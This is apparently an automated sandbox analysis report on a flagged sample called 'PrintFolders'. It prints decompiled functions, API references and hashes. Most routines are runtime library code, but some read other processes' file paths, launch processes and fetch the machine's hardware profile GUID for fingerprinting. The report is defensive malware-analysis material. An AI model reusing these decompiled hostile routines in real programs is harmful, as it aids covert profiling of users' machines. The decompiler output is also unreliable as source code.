                                                          						if(_t24 == 0 || E00420094(0, 0, _t26, _t17, _t24, _v8, 0, 0) == 0) {
                                                          							_t13 = 0;
                                                          						} else {
                                                          							_t13 = _t24;
                                                          							_t24 = 0;
                                                          						}
                                                          						E0041E2B8(_t24);
                                                          					}
                                                          				}
                                                          				if(_t26 != 0) {
                                                          					FreeEnvironmentStringsW(_t26);
                                                          				}
                                                          				return _t13;
                                                          			}









                                                          0x00424b9f
                                                          0x00424ba5
                                                          0x00424c00
                                                          0x00424c00
                                                          0x00424ba7
                                                          0x00424bb5
                                                          0x00424bbb
                                                          0x00424bc3
                                                          0x00424bc8
                                                          0x00000000
                                                          0x00424bca
                                                          0x00424bcb
                                                          0x00424bd0
                                                          0x00424bd5
                                                          0x00424bf5
                                                          0x00424bef
                                                          0x00424bef
                                                          0x00424bf1
                                                          0x00424bf1
                                                          0x00424bf8
                                                          0x00424bfd
                                                          0x00424bc8
                                                          0x00424c04
                                                          0x00424c07
                                                          0x00424c07
                                                          0x00424c13

                                                          APIs
                                                          • GetEnvironmentStringsW.KERNEL32 ref: 00424B99
                                                          • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00424C07
                                                            • Part of subcall function 00420094: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,00000000,00000000,?,004213AE,?,00000000,00000000), ref: 00420140
                                                            • Part of subcall function 0041ED2F: RtlAllocateHeap.NTDLL(00000000,?,?,?,0040FF9B,?,?,?,?,?,00403757,?,?,?), ref: 0041ED61
                                                          • _free.LIBCMT ref: 00424BF8
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: EnvironmentStrings$AllocateByteCharFreeHeapMultiWide_free
                                                          • String ID:
                                                          • API String ID: 2560199156-0
                                                          • Opcode ID: a99ed16166c4cb6fd5d58302230d1ee3cac86f8bd5c28f31c17afe00db9e4936
                                                          • Instruction ID: 8e17b8cbccb8b4fc6403cf286aecc81c96b356ed4abcbad2db771e8ab638680e
                                                          • Opcode Fuzzy Hash: a99ed16166c4cb6fd5d58302230d1ee3cac86f8bd5c28f31c17afe00db9e4936
                                                          • Instruction Fuzzy Hash: 1101FC727012357B2331167B3C89E7F6D5DCDC2B94396012AFE04D6201EDA8DC0281BC
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 66%
                                                          			E00405420(int* __ecx, long __edx) {
                                                          				signed int _v8;
                                                          				char _v268;
                                                          				int* _v272;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				signed int _t11;
                                                          				intOrPtr _t14;
                                                          				void* _t21;
                                                          				intOrPtr* _t23;
                                                          				void* _t29;
                                                          				void* _t30;
                                                          				int* _t31;
                                                          				signed int _t32;
                                                          
                                                          				_t11 =  *0x43d054; // 0x6e36c9b5
                                                          				_v8 = _t11 ^ _t32;
                                                          				_t31 = __ecx;
                                                          				_v272 = __ecx;
                                                          				_v272 = __ecx;
                                                          				_t30 = OpenProcess(0x410, 0, __edx);
                                                          				if(_t30 != 0) {
                                                          					__imp__K32GetModuleFileNameExA(_t30, 0,  &_v268, 0x104); // executed
                                                          					FindCloseChangeNotification(_t30); // executed
                                                          				}
                                                          				_t23 =  &_v268;
                                                          				 *_t31 = 0;
                                                          				_t31[4] = 0;
                                                          				_t29 = _t23 + 1;
                                                          				_t31[5] = 0xf;
                                                          				 *_t31 = 0;
                                                          				do {
                                                          					_t14 =  *_t23;
                                                          					_t23 = _t23 + 1;
                                                          				} while (_t14 != 0);
                                                          				E004026B0(_t21, _t31,  &_v268, _t23 - _t29);
                                                          				return E0040EBBF(_t31, _t21, _v8 ^ _t32, _t29, _t30, _t31);
                                                          			}

















                                                          0x00405429
                                                          0x00405430
                                                          0x00405436
                                                          0x0040543a
                                                          0x00405445
                                                          0x00405451
                                                          0x00405455
                                                          0x00405466
                                                          0x0040546d
                                                          0x0040546d
                                                          0x00405473
                                                          0x00405479
                                                          0x0040547f
                                                          0x00405486
                                                          0x00405489
                                                          0x00405490
                                                          0x00405493
                                                          0x00405493
                                                          0x00405495
                                                          0x00405496
                                                          0x004054a6
                                                          0x004054bc

                                                          APIs
                                                          • OpenProcess.KERNEL32(00000410,00000000,?,00450D41,00000000), ref: 0040544B
                                                          • K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104,?,00450D41,00000000), ref: 00405466
                                                          • FindCloseChangeNotification.KERNEL32(00000000,?,00450D41,00000000), ref: 0040546D
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: ChangeCloseFileFindModuleNameNotificationOpenProcess
                                                          • String ID:
                                                          • API String ID: 4186666201-0
                                                          • Opcode ID: 1393ca63317ed933dd5bffd107fb2ff396153b6cb66a741b0b6755bcac672aa0
                                                          • Instruction ID: 922376feaebcf12d809977a557db1708a013f2b36cdaadcafb515ec78757bc9b
                                                          • Opcode Fuzzy Hash: 1393ca63317ed933dd5bffd107fb2ff396153b6cb66a741b0b6755bcac672aa0
                                                          • Instruction Fuzzy Hash: 741104306002189BD720DF25DC05BFBBBB4DB45700F0002AEE58597280DBF95A868FD8
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 59%
                                                          			E004066A0(void* __ebx, CHAR* __ecx, void* __edi, struct _SECURITY_ATTRIBUTES** _a4, intOrPtr _a24) {
                                                          				signed int _v8;
                                                          				struct _PROCESS_INFORMATION _v24;
                                                          				struct _STARTUPINFOA _v100;
                                                          				signed int _v116;
                                                          				char _v132;
                                                          				struct tagHW_PROFILE_INFOA _v240;
                                                          				struct _SECURITY_ATTRIBUTES** _v244;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				signed int _t28;
                                                          				struct _SECURITY_ATTRIBUTES** _t35;
                                                          				signed int _t40;
                                                          				signed int _t43;
                                                          				signed int _t44;
                                                          				signed int _t49;
                                                          				struct _SECURITY_ATTRIBUTES** _t58;
                                                          				intOrPtr* _t63;
                                                          				intOrPtr _t70;
                                                          				void* _t73;
                                                          				signed int _t75;
                                                          				void* _t77;
                                                          				struct _SECURITY_ATTRIBUTES** _t78;
                                                          				signed int _t79;
                                                          				signed int _t80;
                                                          				signed int _t81;
                                                          
                                                          				_t74 = __edi;
                                                          				_t54 = __ebx;
                                                          				_t28 =  *0x43d054; // 0x6e36c9b5
                                                          				_v8 = _t28 ^ _t79;
                                                          				_v100.cb = 0x44;
                                                          				asm("xorps xmm0, xmm0");
                                                          				_t31 =  >=  ? _a4 :  &_a4;
                                                          				asm("movlpd [ebp-0x5c], xmm0");
                                                          				asm("movlpd [ebp-0x54], xmm0");
                                                          				asm("movlpd [ebp-0x4c], xmm0");
                                                          				asm("movlpd [ebp-0x44], xmm0");
                                                          				asm("movlpd [ebp-0x3c], xmm0");
                                                          				asm("movlpd [ebp-0x34], xmm0");
                                                          				asm("movlpd [ebp-0x2c], xmm0");
                                                          				asm("movlpd [ebp-0x24], xmm0");
                                                          				asm("movups [ebp-0x14], xmm0"); // executed
                                                          				CreateProcessA(__ecx,  >=  ? _a4 :  &_a4, 0, 0, 0, 0, 0, 0,  &_v100,  &_v24); // executed
                                                          				_t70 = _a24;
                                                          				_t77 =  !=  ? _v24.dwProcessId : _t75 | 0xffffffff;
                                                          				if(_t70 < 0x10) {
                                                          					L4:
                                                          					return E0040EBBF(_t77, _t54, _v8 ^ _t79, _t70, _t74, _t77);
                                                          				} else {
                                                          					_t58 = _a4;
                                                          					_t70 = _t70 + 1;
                                                          					_t35 = _t58;
                                                          					if(_t70 < 0x1000) {
                                                          						L3:
                                                          						_push(_t70);
                                                          						E0040EDFF(_t58);
                                                          						goto L4;
                                                          					} else {
                                                          						_t58 =  *(_t58 - 4);
                                                          						_t70 = _t70 + 0x23;
                                                          						if(_t35 - _t58 + 0xfffffffc > 0x1f) {
                                                          							E00413527(__ebx, _t70, __eflags);
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							_push(_t79);
                                                          							_t80 = _t81;
                                                          							_t40 =  *0x43d054; // 0x6e36c9b5
                                                          							_v116 = _t40 ^ _t80;
                                                          							_push(_t77);
                                                          							_t78 = _t58;
                                                          							_v244 = _t78;
                                                          							_v244 = _t78;
                                                          							_t43 = GetCurrentHwProfileA( &_v240); // executed
                                                          							__eflags = _t43;
                                                          							if(__eflags == 0) {
                                                          								_t44 = E00417DF6(_t58, __eflags);
                                                          								asm("cdq");
                                                          								E004055C0(_t78, _t44 % 0xa + 5);
                                                          								__eflags = _v24.dwThreadId ^ _t80;
                                                          								return E0040EBBF(_t78, __ebx, _v24.dwThreadId ^ _t80, _t44 % 0xa + 5, __edi, _t78);
                                                          							} else {
                                                          								_t63 =  &_v132;
                                                          								 *_t78 = 0;
                                                          								_t78[4] = 0;
                                                          								_t73 = _t63 + 1;
                                                          								_t78[5] = 0xf;
                                                          								 *_t78 = 0;
                                                          								do {
                                                          									_t49 =  *_t63;
                                                          									_t63 = _t63 + 1;
                                                          									__eflags = _t49;
                                                          								} while (_t49 != 0);
                                                          								E004026B0(__ebx, _t78,  &_v132, _t63 - _t73);
                                                          								__eflags = _v24.dwThreadId ^ _t80;
                                                          								return E0040EBBF(_t78, __ebx, _v24.dwThreadId ^ _t80, _t73, __edi, _t78);
                                                          							}
                                                          						} else {
                                                          							goto L3;
                                                          						}
                                                          					}
                                                          				}
                                                          			}




























                                                          0x004066a0
                                                          0x004066a0
                                                          0x004066a6
                                                          0x004066ad
                                                          0x004066bc
                                                          0x004066cc
                                                          0x004066d2
                                                          0x004066dc
                                                          0x004066e1
                                                          0x004066e6
                                                          0x004066eb
                                                          0x004066f0
                                                          0x004066f5
                                                          0x004066fa
                                                          0x004066ff
                                                          0x00406704
                                                          0x00406708
                                                          0x0040670e
                                                          0x00406716
                                                          0x0040671d
                                                          0x00406747
                                                          0x00406757
                                                          0x0040671f
                                                          0x0040671f
                                                          0x00406722
                                                          0x00406723
                                                          0x0040672b
                                                          0x0040673d
                                                          0x0040673d
                                                          0x0040673f
                                                          0x00000000
                                                          0x0040672d
                                                          0x0040672d
                                                          0x00406730
                                                          0x0040673b
                                                          0x00406758
                                                          0x0040675d
                                                          0x0040675e
                                                          0x0040675f
                                                          0x00406760
                                                          0x00406761
                                                          0x00406769
                                                          0x00406770
                                                          0x00406773
                                                          0x00406774
                                                          0x00406779
                                                          0x00406780
                                                          0x00406786
                                                          0x0040678c
                                                          0x0040678e
                                                          0x004067d6
                                                          0x004067db
                                                          0x004067e8
                                                          0x004067f2
                                                          0x004067fd
                                                          0x00406790
                                                          0x00406790
                                                          0x00406793
                                                          0x00406799
                                                          0x004067a0
                                                          0x004067a3
                                                          0x004067aa
                                                          0x004067b0
                                                          0x004067b0
                                                          0x004067b2
                                                          0x004067b3
                                                          0x004067b3
                                                          0x004067c0
                                                          0x004067cb
                                                          0x004067d5
                                                          0x004067d5
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0040673b
                                                          0x0040672b

                                                          APIs
                                                          • CreateProcessA.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00406708
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: CreateProcess
                                                          • String ID: D
                                                          • API String ID: 963392458-2746444292
                                                          • Opcode ID: ee5791995512ebe7736d57afe2c1496ebed76edc28558b6e22b2e9b0c1df2158
                                                          • Instruction ID: 50eb80fa6753c829cd3f054dc80da8a320b46d7d2baa1acb39a29d7f976f20fa
                                                          • Opcode Fuzzy Hash: ee5791995512ebe7736d57afe2c1496ebed76edc28558b6e22b2e9b0c1df2158
                                                          • Instruction Fuzzy Hash: 7D21B031E1034CA7DB14DFA5CE457ADB3B2EB89704F209319F9157A184EB74AA808B88
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 92%
                                                          			E0041A61D(void* __ebx, void* __ecx) {
                                                          				void* _t2;
                                                          				intOrPtr _t3;
                                                          				signed int _t13;
                                                          				signed int _t14;
                                                          
                                                          				if( *0x450898 == 0) {
                                                          					_push(_t13);
                                                          					E00424883(__ebx); // executed
                                                          					_t2 = E00424B90(__ecx); // executed
                                                          					_t17 = _t2;
                                                          					if(_t2 != 0) {
                                                          						_t3 = E0041A670(__ebx, _t17);
                                                          						if(_t3 != 0) {
                                                          							 *0x4508a4 = _t3;
                                                          							_t14 = 0;
                                                          							 *0x450898 = _t3;
                                                          						} else {
                                                          							_t14 = _t13 | 0xffffffff;
                                                          						}
                                                          						E0041E2B8(0);
                                                          					} else {
                                                          						_t14 = _t13 | 0xffffffff;
                                                          					}
                                                          					E0041E2B8(_t17);
                                                          					return _t14;
                                                          				} else {
                                                          					return 0;
                                                          				}
                                                          			}







                                                          0x0041a624
                                                          0x0041a62a
                                                          0x0041a62b
                                                          0x0041a630
                                                          0x0041a635
                                                          0x0041a639
                                                          0x0041a641
                                                          0x0041a649
                                                          0x0041a650
                                                          0x0041a655
                                                          0x0041a657
                                                          0x0041a64b
                                                          0x0041a64b
                                                          0x0041a64b
                                                          0x0041a65e
                                                          0x0041a63b
                                                          0x0041a63b
                                                          0x0041a63b
                                                          0x0041a665
                                                          0x0041a66f
                                                          0x0041a626
                                                          0x0041a628
                                                          0x0041a628

                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: _free
                                                          • String ID:
                                                          • API String ID: 269201875-0
                                                          • Opcode ID: 526f0598ed6c5c09f80c27bed797f3bdec909cf5737d209df5188b07db91258f
                                                          • Instruction ID: 569bb8f4cb614d0ae093e3d0afb7296beb312a053887baa6913238e5c0853e05
                                                          • Opcode Fuzzy Hash: 526f0598ed6c5c09f80c27bed797f3bdec909cf5737d209df5188b07db91258f
                                                          • Instruction Fuzzy Hash: F8E06C3650351145A615367B7C017F716898BD1379F69032BF854862D1DA7C88D240AF
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: _free
                                                          • String ID:
                                                          • API String ID: 269201875-0
                                                          • Opcode ID: 59e20a6d73741625aa60e7257ae5aeb68c6bd765af771a165dc67992aa078022
                                                          • Instruction ID: 80c14f1a6abcca7d923a46e9f34a6542aaf5e04ef8ab335fbec2492ac4023ecb
                                                          • Opcode Fuzzy Hash: 59e20a6d73741625aa60e7257ae5aeb68c6bd765af771a165dc67992aa078022
                                                          • Instruction Fuzzy Hash: 22318076A016109F8B14CFADC58099EF7F2FF8932072581A6D615EB360C334AD55CF96
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 83%
                                                          			E00406760(void* __ebx, char* __ecx, void* __edi) {
                                                          				signed int _v8;
                                                          				struct tagHW_PROFILE_INFOA _v132;
                                                          				char* _v136;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				signed int _t16;
                                                          				int _t19;
                                                          				signed int _t20;
                                                          				intOrPtr _t25;
                                                          				intOrPtr* _t36;
                                                          				void* _t43;
                                                          				char* _t45;
                                                          				signed int _t46;
                                                          
                                                          				_t31 = __ecx;
                                                          				_t16 =  *0x43d054; // 0x6e36c9b5
                                                          				_v8 = _t16 ^ _t46;
                                                          				_t45 = __ecx;
                                                          				_v136 = __ecx;
                                                          				_v136 = __ecx;
                                                          				_t19 = GetCurrentHwProfileA( &_v132); // executed
                                                          				if(_t19 == 0) {
                                                          					_t20 = E00417DF6(_t31, __eflags);
                                                          					asm("cdq");
                                                          					E004055C0(_t45, _t20 % 0xa + 5);
                                                          					__eflags = _v8 ^ _t46;
                                                          					return E0040EBBF(_t45, __ebx, _v8 ^ _t46, _t20 % 0xa + 5, __edi, _t45);
                                                          				} else {
                                                          					_t36 =  &(_v132.szHwProfileGuid);
                                                          					 *_t45 = 0;
                                                          					 *((intOrPtr*)(_t45 + 0x10)) = 0;
                                                          					_t43 = _t36 + 1;
                                                          					 *((intOrPtr*)(_t45 + 0x14)) = 0xf;
                                                          					 *_t45 = 0;
                                                          					do {
                                                          						_t25 =  *_t36;
                                                          						_t36 = _t36 + 1;
                                                          					} while (_t25 != 0);
                                                          					E004026B0(__ebx, _t45,  &(_v132.szHwProfileGuid), _t36 - _t43);
                                                          					return E0040EBBF(_t45, __ebx, _v8 ^ _t46, _t43, __edi, _t45);
                                                          				}
                                                          			}
















                                                          0x00406760
                                                          0x00406769
                                                          0x00406770
                                                          0x00406774
                                                          0x00406779
                                                          0x00406780
                                                          0x00406786
                                                          0x0040678e
                                                          0x004067d6
                                                          0x004067db
                                                          0x004067e8
                                                          0x004067f2
                                                          0x004067fd
                                                          0x00406790
                                                          0x00406790
                                                          0x00406793
                                                          0x00406799
                                                          0x004067a0
                                                          0x004067a3
                                                          0x004067aa
                                                          0x004067b0
                                                          0x004067b0
                                                          0x004067b2
                                                          0x004067b3
                                                          0x004067c0
                                                          0x004067d5
                                                          0x004067d5

                                                          APIs
                                                          • GetCurrentHwProfileA.ADVAPI32(?), ref: 00406786
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: CurrentProfile
                                                          • String ID:
                                                          • API String ID: 2104809126-0
                                                          • Opcode ID: 4866f708c36be3b8c5458998122e6fbc1a421f3c5607ad6291c9d3a1b93d6214
                                                          • Instruction ID: aa22e25d1b11b59e7382e39be16936437f2c1d5e4af8da413c1625e3f1392632
                                                          • Opcode Fuzzy Hash: 4866f708c36be3b8c5458998122e6fbc1a421f3c5607ad6291c9d3a1b93d6214
                                                          • Instruction Fuzzy Hash: BA11A9307002189BDB24EF65D8557BEB7B9EF09308F0005AEE84697781DF795A098BD5
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 72%
                                                          			E0041E0B9(void* __ecx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
                                                          				char _v8;
                                                          				char _v12;
                                                          				void* _v16;
                                                          				intOrPtr _v20;
                                                          				char _v32;
                                                          				void* _t26;
                                                          
                                                          				E0041DE8F(__ecx,  &_v32, _a8);
                                                          				asm("movsd");
                                                          				asm("movsd");
                                                          				asm("movsd");
                                                          				if(_v12 == 0) {
                                                          					L3:
                                                          					return 0;
                                                          				} else {
                                                          					_t26 = E0042869E( &_v8, _a4, _v20, _a12, 0x180); // executed
                                                          					if(_t26 != 0) {
                                                          						goto L3;
                                                          					} else {
                                                          						 *0x45061c =  *0x45061c + 1;
                                                          						asm("lock or [eax], ecx");
                                                          						 *((intOrPtr*)(_a16 + 8)) = 0;
                                                          						 *((intOrPtr*)(_a16 + 0x1c)) = 0;
                                                          						 *((intOrPtr*)(_a16 + 4)) = 0;
                                                          						 *_a16 = 0;
                                                          						 *((intOrPtr*)(_a16 + 0x10)) = _v8;
                                                          						return _a16;
                                                          					}
                                                          				}
                                                          			}









                                                          0x0041e0ca
                                                          0x0041e0d6
                                                          0x0041e0d7
                                                          0x0041e0d8
                                                          0x0041e0df
                                                          0x0041e138
                                                          0x0041e13b
                                                          0x0041e0e1
                                                          0x0041e0f3
                                                          0x0041e0fd
                                                          0x00000000
                                                          0x0041e0ff
                                                          0x0041e102
                                                          0x0041e10e
                                                          0x0041e116
                                                          0x0041e11c
                                                          0x0041e122
                                                          0x0041e128
                                                          0x0041e130
                                                          0x0041e137
                                                          0x0041e137
                                                          0x0041e0fd

                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: __wsopen_s
                                                          • String ID:
                                                          • API String ID: 3347428461-0
                                                          • Opcode ID: d4cc4cf86e9e065f416ef9d63789a222c11f165fcbbbb45fb3f736e95baad7dc
                                                          • Instruction ID: 50b409054a80a02bec94d94242d16b3902a0bf72dd6f6a78c9df47ee9ec44d07
                                                          • Opcode Fuzzy Hash: d4cc4cf86e9e065f416ef9d63789a222c11f165fcbbbb45fb3f736e95baad7dc
                                                          • Instruction Fuzzy Hash: 39111575A0420AAFCF05DF59E9419DF7BF5EF48314F04406AF809AB351D670EA11CBA8
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 91%
                                                          			E00428630(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
                                                          				char _v8;
                                                          				char _v12;
                                                          				char _v16;
                                                          				char _v20;
                                                          				char _v24;
                                                          				char _v28;
                                                          				signed int _t22;
                                                          				void* _t25;
                                                          				signed int _t28;
                                                          				signed int _t29;
                                                          
                                                          				_t25 = __ecx;
                                                          				_v28 = 0;
                                                          				_v24 = 0;
                                                          				_v20 = 0;
                                                          				_v16 = 0;
                                                          				_v12 = 0;
                                                          				_v8 = 0;
                                                          				if(E00419D5B(_t25, _a12,  &_v28, E00423B18(__edx, __eflags)) == 0) {
                                                          					_push(_a28);
                                                          					_t22 = E004286BE(_t25, __eflags, _a4, _a8, _v20, _a16, _a20, _a24); // executed
                                                          					_t29 = _t22;
                                                          				} else {
                                                          					_t29 = _t28 | 0xffffffff;
                                                          				}
                                                          				if(_v8 != 0) {
                                                          					E0041E2B8(_v20);
                                                          				}
                                                          				return _t29;
                                                          			}













                                                          0x00428630
                                                          0x0042863b
                                                          0x0042863e
                                                          0x00428641
                                                          0x00428644
                                                          0x00428647
                                                          0x0042864a
                                                          0x00428664
                                                          0x0042866b
                                                          0x00428680
                                                          0x00428688
                                                          0x00428666
                                                          0x00428666
                                                          0x00428666
                                                          0x0042868e
                                                          0x00428693
                                                          0x00428698
                                                          0x0042869d

                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: _free
                                                          • String ID:
                                                          • API String ID: 269201875-0
                                                          • Opcode ID: 521115d978e45e608ea96acc4bbcbcaa1d0163517ca36d6091db2ee742d9455d
                                                          • Instruction ID: 460fcbff9e95d3aa1796ce0ff75d521f962e5269c53dc2fc002039b783f7abde
                                                          • Opcode Fuzzy Hash: 521115d978e45e608ea96acc4bbcbcaa1d0163517ca36d6091db2ee742d9455d
                                                          • Instruction Fuzzy Hash: EC018472D0116DBFCF01AFA89C019DE7FB5BF08304F54016AFD14E2191E6358A60DB95
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E0041ED2F(long _a4) {
                                                          				void* _t4;
                                                          				long _t8;
                                                          
                                                          				_t8 = _a4;
                                                          				if(_t8 > 0xffffffe0) {
                                                          					L7:
                                                          					 *((intOrPtr*)(E004135F1(__eflags))) = 0xc;
                                                          					__eflags = 0;
                                                          					return 0;
                                                          				}
                                                          				if(_t8 == 0) {
                                                          					_t8 = _t8 + 1;
                                                          				}
                                                          				while(1) {
                                                          					_t4 = RtlAllocateHeap( *0x450ce0, 0, _t8); // executed
                                                          					if(_t4 != 0) {
                                                          						break;
                                                          					}
                                                          					__eflags = E0041C6D1();
                                                          					if(__eflags == 0) {
                                                          						goto L7;
                                                          					}
                                                          					__eflags = E0041A10C(__eflags, _t8);
                                                          					if(__eflags == 0) {
                                                          						goto L7;
                                                          					}
                                                          				}
                                                          				return _t4;
                                                          			}





                                                          0x0041ed35
                                                          0x0041ed3b
                                                          0x0041ed6d
                                                          0x0041ed72
                                                          0x0041ed78
                                                          0x00000000
                                                          0x0041ed78
                                                          0x0041ed3f
                                                          0x0041ed41
                                                          0x0041ed41
                                                          0x0041ed58
                                                          0x0041ed61
                                                          0x0041ed69
                                                          0x00000000
                                                          0x00000000
                                                          0x0041ed49
                                                          0x0041ed4b
                                                          0x00000000
                                                          0x00000000
                                                          0x0041ed54
                                                          0x0041ed56
                                                          0x00000000
                                                          0x00000000
                                                          0x0041ed56
                                                          0x00000000

                                                          APIs
                                                          • RtlAllocateHeap.NTDLL(00000000,?,?,?,0040FF9B,?,?,?,?,?,00403757,?,?,?), ref: 0041ED61
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: AllocateHeap
                                                          • String ID:
                                                          • API String ID: 1279760036-0
                                                          • Opcode ID: 5231c26b2e5400a8b445dea9dc5c14e3c1ee74f90dcd341e6a6c6bc4848ff768
                                                          • Instruction ID: 959c84357b1a9f0ee529832ae90eed3ec28ec96ce801b17d18c686e8694df61b
                                                          • Opcode Fuzzy Hash: 5231c26b2e5400a8b445dea9dc5c14e3c1ee74f90dcd341e6a6c6bc4848ff768
                                                          • Instruction Fuzzy Hash: 95E06539141222A7E6313767BD01BDB76599F467A4F150123FC45962A1CA5CCCC185AE
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E1000873B(long _a4) {
                                                          				void* _t4;
                                                          				long _t8;
                                                          
                                                          				_t8 = _a4;
                                                          				if(_t8 > 0xffffffe0) {
                                                          					L7:
                                                          					 *((intOrPtr*)(E10006406(__eflags))) = 0xc;
                                                          					__eflags = 0;
                                                          					return 0;
                                                          				}
                                                          				if(_t8 == 0) {
                                                          					_t8 = _t8 + 1;
                                                          				}
                                                          				while(1) {
                                                          					_t4 = RtlAllocateHeap( *0x10018340, 0, _t8); // executed
                                                          					if(_t4 != 0) {
                                                          						break;
                                                          					}
                                                          					__eflags = E1000B780();
                                                          					if(__eflags == 0) {
                                                          						goto L7;
                                                          					}
                                                          					__eflags = E100068A9(__eflags, _t8);
                                                          					if(__eflags == 0) {
                                                          						goto L7;
                                                          					}
                                                          				}
                                                          				return _t4;
                                                          			}





                                                          0x10008741
                                                          0x10008747
                                                          0x10008779
                                                          0x1000877e
                                                          0x10008784
                                                          0x00000000
                                                          0x10008784
                                                          0x1000874b
                                                          0x1000874d
                                                          0x1000874d
                                                          0x10008764
                                                          0x1000876d
                                                          0x10008775
                                                          0x00000000
                                                          0x00000000
                                                          0x10008755
                                                          0x10008757
                                                          0x00000000
                                                          0x00000000
                                                          0x10008760
                                                          0x10008762
                                                          0x00000000
                                                          0x00000000
                                                          0x10008762
                                                          0x00000000

                                                          APIs
                                                          • RtlAllocateHeap.NTDLL(00000000,?,?,?,10003243,?,?,100024B8,0007A120), ref: 1000876D
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.382027738.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000002.00000002.382023656.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382041699.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
